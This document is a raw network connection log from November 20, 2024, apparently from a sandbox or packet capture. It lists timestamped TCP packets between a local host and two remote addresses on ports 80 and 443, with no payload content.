Nov 20, 2024 04:08:11.197418928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.197427988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.197463989 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.197488070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198018074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198028088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198071003 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198101044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198112011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198131084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198141098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198151112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198153973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198167086 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198179007 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198189020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198189020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198201895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198232889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198245049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198246002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198259115 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198266029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198273897 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198313951 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198343992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198355913 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198370934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198381901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198391914 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198399067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198415041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198424101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198426962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198438883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198472977 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198477983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198496103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198502064 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198508024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198523998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198528051 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198535919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198563099 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198597908 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198657990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198668957 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198682070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198704958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198709965 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198717117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198728085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198740005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198750019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198750973 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198772907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.198821068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198821068 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.198868036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.235882044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.235944986 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.235949993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.235964060 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.235975981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.235986948 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.235996008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.236007929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.236025095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.236030102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.236037970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.236083984 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.245990992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246059895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.246145964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246156931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246227980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.246231079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246237993 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246241093 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246242046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246246099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246256113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246265888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246277094 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246289968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246299982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246300936 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.246316910 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246329069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246339083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246341944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.246350050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246364117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246381998 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.246391058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246403933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246407986 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.246414900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.246445894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.246474981 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.258663893 CET	443	62441	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.258758068 CET	443	62441	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.259273052 CET	62441	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.261524916 CET	62441	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.261573076 CET	443	62441	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.261605978 CET	62441	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.261621952 CET	443	62441	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.265371084 CET	62446	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.265436888 CET	443	62446	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.265609026 CET	62446	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.265852928 CET	62446	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.265873909 CET	443	62446	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.283840895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.283876896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.283889055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.283915043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.283953905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.283965111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.283967018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.283977985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.283991098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284020901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284024954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284030914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284049034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284061909 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284063101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284074068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284085989 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284096956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284107924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284110069 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284168005 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284168005 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284205914 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284279108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284318924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284328938 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284334898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284339905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284357071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284367085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284383059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284392118 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284426928 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284457922 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284544945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284560919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284573078 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284578085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284588099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284599066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284600019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284612894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284625053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284626961 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284658909 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284689903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284791946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284801960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284812927 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284825087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284841061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284847975 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284852982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284866095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284867048 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284909964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284941912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.284966946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.284976006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285027981 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.285084009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285092115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285099030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285104990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285111904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285118103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285139084 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.285170078 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.285784960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285794020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285809994 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285820961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285831928 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285842896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285854101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285888910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.285922050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.285923004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.285983086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.286463976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286533117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286542892 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286550045 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.286552906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286588907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.286614895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.286638975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286655903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286669970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286680937 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286691904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286704063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286721945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286731958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286757946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286767006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286777020 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286787987 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286812067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286822081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286828995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286837101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.286845922 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286856890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286869049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286880016 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286885977 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.286902905 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.286915064 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286927938 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286930084 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.286946058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286957026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286984921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.286995888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.287005901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.287028074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.287038088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.287139893 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.287147045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.287158966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.287169933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.287180901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.287201881 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.287213087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.287216902 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.287228107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.287237883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.287276030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.288192987 CET	443	62442	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.288542032 CET	443	62442	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.288649082 CET	62442	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.289222956 CET	62442	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.289241076 CET	443	62442	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.289252996 CET	62442	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.289259911 CET	443	62442	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.295197010 CET	62447	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.295213938 CET	443	62447	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.295278072 CET	62447	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.295715094 CET	62447	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.295722961 CET	443	62447	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.295777082 CET	443	62443	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.296952009 CET	62443	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.297033072 CET	443	62443	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.298059940 CET	62443	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.298074961 CET	443	62443	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.324413061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.324481964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.324523926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.324541092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.324553967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.324563026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.324574947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.324585915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.324587107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.324596882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.324625015 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.324690104 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.334547997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334609985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.334624052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334634066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334644079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334700108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.334700108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.334784985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334801912 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334820032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334830046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334839106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334849119 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334852934 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.334861040 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334881067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334881067 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.334897995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334908962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334924936 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334933996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334939957 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.334944963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334954977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334960938 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.334965944 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334979057 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.334988117 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.334989071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.335000038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.335011005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.335022926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.335022926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.335041046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.335043907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.335083961 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.335107088 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.372456074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372467041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372478962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372529984 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.372555017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.372564077 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372575998 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372595072 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372606993 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372620106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372626066 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.372638941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372653008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372663975 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372668028 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.372677088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372689962 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372695923 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.372703075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372716904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372716904 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.372744083 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.372795105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.372884035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372895956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372906923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372939110 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.372968912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.372977018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.372991085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373001099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373019934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.373033047 CET	80	62430	31.41.244.11	192.168.2.4
